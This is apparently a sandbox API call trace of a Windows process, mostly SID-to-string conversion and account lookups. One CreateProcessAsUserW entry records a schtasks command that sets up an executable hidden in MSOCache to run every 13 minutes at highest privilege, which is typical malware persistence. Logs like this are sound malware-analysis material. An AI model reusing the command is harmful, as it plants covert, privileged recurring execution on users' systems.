[0115.584] malloc (_Size=0x18) returned 0x196ef0d1a80 [0115.584] malloc (_Size=0x18) returned 0x196ef0d1b40 [0115.584] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0115.584] SysStringLen (param_1="3990802383") returned 0xa [0115.584] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee777668, _Size=0x2a | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0115.585] memcpy (in: _Dst=0x196ee7ba860, _Src=0x196ee7aa838, _Size=0x16 | out: _Dst=0x196ee7ba860) returned 0x196ee7ba860 [0115.585] free (_Block=0x196ef0d1c00) [0115.585] free (_Block=0x196ef0d1a80) [0115.585] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d1374 [0115.585] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0115.585] malloc (_Size=0x18) returned 0x196ef0d1960 [0115.585] malloc (_Size=0x18) returned 0x196ef0d1a60 [0115.585] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0115.585] SysStringLen (param_1="-") returned 0x1 [0115.585] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x3e | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0115.585] memcpy (in: _Dst=0x196ee7bbb94, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7bbb94) returned 0x196ee7bbb94 [0115.585] free (_Block=0x196ef0d1b40) [0115.585] free (_Block=0x196ef0d1960) [0115.585] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0115.585] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0115.585] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0115.585] SysStringLen (param_1="1811730007") returned 0xa [0115.585] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x40 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0115.585] memcpy (in: _Dst=0x196ee7ba876, _Src=0x196ee7aa838, _Size=0x16 | out: _Dst=0x196ee7ba876) returned 0x196ee7ba876 [0115.585] free (_Block=0x196ef0d1a60) [0115.585] free (_Block=0x196ef0d1aa0) [0115.586] GetSidSubAuthority (pSid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d1378 [0115.586] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0115.586] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0115.586] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0115.586] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0115.586] SysStringLen (param_1="-") returned 0x1 [0115.586] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee7ba838, _Size=0x54 | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0115.586] memcpy (in: _Dst=0x196ee7bbbaa, _Src=0x196ee7aa838, _Size=0x4 | out: _Dst=0x196ee7bbbaa) returned 0x196ee7bbbaa [0115.586] free (_Block=0x196ef0d1ba0) [0115.586] free (_Block=0x196ef0d1ae0) [0115.586] malloc (_Size=0x18) returned 0x196ef0d1c20 [0115.586] malloc (_Size=0x18) returned 0x196ef0d1a20 [0115.586] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0115.586] SysStringLen (param_1="1000") returned 0x4 [0115.586] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0115.586] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aa838, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0115.586] free (_Block=0x196ef0d1bc0) [0115.586] free (_Block=0x196ef0d1c20) [0115.586] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0115.586] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0115.587] free (_Block=0x196ef0d1a20) [0115.587] malloc (_Size=0x18) returned 0x196ef0d1c60 [0115.588] free (_Block=0x196ef0d03e0) [0115.588] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0115.608] GetLastError () returned 0x7a [0115.608] malloc (_Size=0x1a) returned 0x196ef0f9af0 [0115.608] malloc (_Size=0xe) returned 0x196ef0d1e60 [0115.608] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d1360*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9af0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1e60, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0115.609] malloc (_Size=0x18) returned 0x196ef0d1d60 [0115.609] malloc (_Size=0x18) returned 0x196ef0d20e0 [0115.609] free (_Block=0x196ef0f9af0) [0115.609] free (_Block=0x196ef0d1e60) [0115.609] free (_Block=0x196ef0f9df0) [0115.610] free (_Block=0x196ef0d20e0) [0115.610] free (_Block=0x196ef0d1d60) [0115.610] free (_Block=0x196ef0d1c60) [0115.610] free (_Block=0x196ef0d1350) [0115.611] SetEvent (hEvent=0x248) returned 1 [0115.611] free (_Block=0x196ef0d5d70) [0115.611] CreateEnvironmentBlock () returned 0x1 [0115.616] malloc (_Size=0x18) returned 0x196ef0d1b40 [0115.616] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 13 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"omniposo\" /sc MINUTE /mo 13 /tr \"'C:\\MSOCache\\All Users\\{90160000-0018-0409-1000-0000000FF1CE}-C\\omnipos.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x99c, dwThreadId=0x130c)) returned 1 [0115.624] CloseHandle (hObject=0x260) returned 1 [0115.624] CloseHandle (hObject=0x264) returned 1 [0115.625] free (_Block=0x196ef0d1b40) [0115.629] DestroyEnvironmentBlock () returned 0x1 [0115.629] malloc (_Size=0x48) returned 0x196ef0d5690 [0115.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x25c6558a, dwHighDateTime=0x1d9eb0c)) [0115.629] SetEvent (hEvent=0x248) returned 1 [0115.629] CloseHandle (hObject=0x270) returned 1 [0115.629] CloseHandle (hObject=0x26c) returned 1 [0115.635] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0115.635] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0115.635] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0115.635] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0116.728] RtlRestoreLastWin32Error () returned 0x670dbf000 [0116.728] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0116.728] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0116.728] RtlRestoreLastWin32Error () returned 0x670dbf000 [0116.728] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x67117de10) returned 1 [0116.728] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0116.728] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0116.728] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0116.728] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0116.728] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0116.730] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0116.731] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0116.731] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0116.732] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0116.732] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0116.734] GetCurrentThread () returned 0xfffffffffffffffe [0116.734] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0116.734] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0116.734] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0116.734] GetLastError () returned 0x7a [0116.735] malloc (_Size=0x2c) returned 0x196ef0d0b10 [0116.735] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0b10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0b10, ReturnLength=0x67117c740) returned 1 [0116.735] IsValidSid (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0116.735] GetLengthSid (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0116.735] malloc (_Size=0x1c) returned 0x196ef0f9a30 [0116.735] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9a30, pSourceSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9a30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0116.735] GetSidIdentifierAuthority (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0b22 [0116.735] malloc (_Size=0x18) returned 0x196ef0d1e80 [0116.735] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0116.735] malloc (_Size=0x18) returned 0x196ef0d1f00 [0116.735] malloc (_Size=0x18) returned 0x196ef0d1f40 [0116.735] SysStringLen (param_1="S-1-") returned 0x4 [0116.735] SysStringLen (param_1="5") returned 0x1 [0116.735] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0116.735] memcpy (in: _Dst=0x196ee7aaab0, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aaab0) returned 0x196ee7aaab0 [0116.735] free (_Block=0x196ef0d1e80) [0116.735] free (_Block=0x196ef0d1f00) [0116.735] GetSidSubAuthorityCount (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0b21 [0116.735] GetSidSubAuthority (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0b28 [0116.735] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0116.735] malloc (_Size=0x18) returned 0x196ef0d2000 [0116.735] malloc (_Size=0x18) returned 0x196ef0d1da0 [0116.736] SysStringLen (param_1="S-1-5") returned 0x5 [0116.736] SysStringLen (param_1="-") returned 0x1 [0116.736] memcpy (in: _Dst=0x196ee7aaa78, _Src=0x196ee7aaaa8, _Size=0xc | out: _Dst=0x196ee7aaa78) returned 0x196ee7aaa78 [0116.736] memcpy (in: _Dst=0x196ee7aaa82, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aaa82) returned 0x196ee7aaa82 [0116.736] free (_Block=0x196ef0d1f40) [0116.736] free (_Block=0x196ef0d2000) [0116.736] malloc (_Size=0x18) returned 0x196ef0d1b40 [0116.736] malloc (_Size=0x18) returned 0x196ef0d2080 [0116.736] SysStringLen (param_1="S-1-5-") returned 0x6 [0116.736] SysStringLen (param_1="21") returned 0x2 [0116.736] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaa78, _Size=0xe | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0116.736] memcpy (in: _Dst=0x196ee7aa9c4, _Src=0x196ee7aaaa8, _Size=0x6 | out: _Dst=0x196ee7aa9c4) returned 0x196ee7aa9c4 [0116.736] free (_Block=0x196ef0d1da0) [0116.736] free (_Block=0x196ef0d1b40) [0116.736] GetSidSubAuthority (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0b2c [0116.736] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0116.736] malloc (_Size=0x18) returned 0x196ef0d1a20 [0116.736] malloc (_Size=0x18) returned 0x196ef0d1e60 [0116.736] SysStringLen (param_1="S-1-5-21") returned 0x8 [0116.736] SysStringLen (param_1="-") returned 0x1 [0116.736] memcpy (in: _Dst=0x196ee7aaaa8, _Src=0x196ee7aa9b8, _Size=0x12 | out: _Dst=0x196ee7aaaa8) returned 0x196ee7aaaa8 [0116.736] memcpy (in: _Dst=0x196ee7aaab8, _Src=0x196ee7aaa78, _Size=0x4 | out: _Dst=0x196ee7aaab8) returned 0x196ee7aaab8 [0116.737] free (_Block=0x196ef0d2080) [0116.737] free (_Block=0x196ef0d1a20) [0116.737] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0116.737] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0116.737] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0116.737] SysStringLen (param_1="1560258661") returned 0xa [0116.737] memcpy (in: _Dst=0x196ee777bb8, _Src=0x196ee7aaaa8, _Size=0x14 | out: _Dst=0x196ee777bb8) returned 0x196ee777bb8 [0116.737] memcpy (in: _Dst=0x196ee777bca, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee777bca) returned 0x196ee777bca [0116.737] free (_Block=0x196ef0d1e60) [0116.737] free (_Block=0x196ef0d1fc0) [0116.737] GetSidSubAuthority (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0b30 [0116.737] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0116.737] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0116.737] malloc (_Size=0x18) returned 0x196ef0d1a80 [0116.737] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0116.737] SysStringLen (param_1="-") returned 0x1 [0116.737] memcpy (in: _Dst=0x196ee7772f8, _Src=0x196ee777bb8, _Size=0x28 | out: _Dst=0x196ee7772f8) returned 0x196ee7772f8 [0116.737] memcpy (in: _Dst=0x196ee77731e, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee77731e) returned 0x196ee77731e [0116.737] free (_Block=0x196ef0d1cc0) [0116.737] free (_Block=0x196ef0d1ce0) [0116.737] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0116.738] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0116.738] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0116.738] SysStringLen (param_1="3990802383") returned 0xa [0116.738] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7772f8, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0116.738] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aaaa8, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0116.738] free (_Block=0x196ef0d1a80) [0116.738] free (_Block=0x196ef0d1ba0) [0116.738] GetSidSubAuthority (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0b34 [0116.738] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0116.738] malloc (_Size=0x18) returned 0x196ef0d2080 [0116.738] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0116.738] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0116.738] SysStringLen (param_1="-") returned 0x1 [0116.738] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0116.738] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0116.738] free (_Block=0x196ef0d1fa0) [0116.738] free (_Block=0x196ef0d2080) [0116.738] malloc (_Size=0x18) returned 0x196ef0d1b20 [0116.738] malloc (_Size=0x18) returned 0x196ef0d1de0 [0116.738] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0116.738] SysStringLen (param_1="1811730007") returned 0xa [0116.738] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0116.739] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aaaa8, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0116.739] free (_Block=0x196ef0d1ec0) [0116.739] free (_Block=0x196ef0d1b20) [0116.739] GetSidSubAuthority (pSid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0b38 [0116.739] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0116.739] malloc (_Size=0x18) returned 0x196ef0d1b20 [0116.739] malloc (_Size=0x18) returned 0x196ef0d1a20 [0116.739] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0116.739] SysStringLen (param_1="-") returned 0x1 [0116.739] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0116.739] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aaaa8, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0116.739] free (_Block=0x196ef0d1de0) [0116.739] free (_Block=0x196ef0d1b20) [0116.739] malloc (_Size=0x18) returned 0x196ef0d1d00 [0116.739] malloc (_Size=0x18) returned 0x196ef0d1a40 [0116.739] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0116.739] SysStringLen (param_1="1000") returned 0x4 [0116.739] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0116.739] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aaaa8, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0116.739] free (_Block=0x196ef0d1a20) [0116.739] free (_Block=0x196ef0d1d00) [0116.740] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0116.740] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0116.740] free (_Block=0x196ef0d1a40) [0116.740] malloc (_Size=0x18) returned 0x196ef0d1e20 [0116.741] free (_Block=0x196ef0d03e0) [0116.741] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0116.742] GetLastError () returned 0x7a [0116.742] malloc (_Size=0x1a) returned 0x196ef0f9d30 [0116.742] malloc (_Size=0xe) returned 0x196ef0d1a20 [0116.742] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9d30, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1a20, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0116.743] malloc (_Size=0x18) returned 0x196ef0d1960 [0116.743] malloc (_Size=0x18) returned 0x196ef0d1f00 [0116.743] free (_Block=0x196ef0f9d30) [0116.743] free (_Block=0x196ef0d1a20) [0116.743] free (_Block=0x196ef0f9a30) [0116.743] free (_Block=0x196ef0d1f00) [0116.743] free (_Block=0x196ef0d1960) [0116.743] free (_Block=0x196ef0d1e20) [0116.744] free (_Block=0x196ef0d0b10) [0116.744] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0116.744] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0116.744] GetLastError () returned 0x7a [0116.744] malloc (_Size=0x2c) returned 0x196ef0d12d0 [0116.744] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d12d0, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d12d0, ReturnLength=0x67117c740) returned 1 [0116.745] IsValidSid (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0116.745] GetLengthSid (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0116.745] malloc (_Size=0x1c) returned 0x196ef0fa090 [0116.745] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0fa090, pSourceSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0fa090*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0116.745] GetSidIdentifierAuthority (pSid=0x196ef0d12e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d12e2 [0116.745] malloc (_Size=0x18) returned 0x196ef0d1be0 [0116.745] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0116.745] malloc (_Size=0x18) returned 0x196ef0d1e00 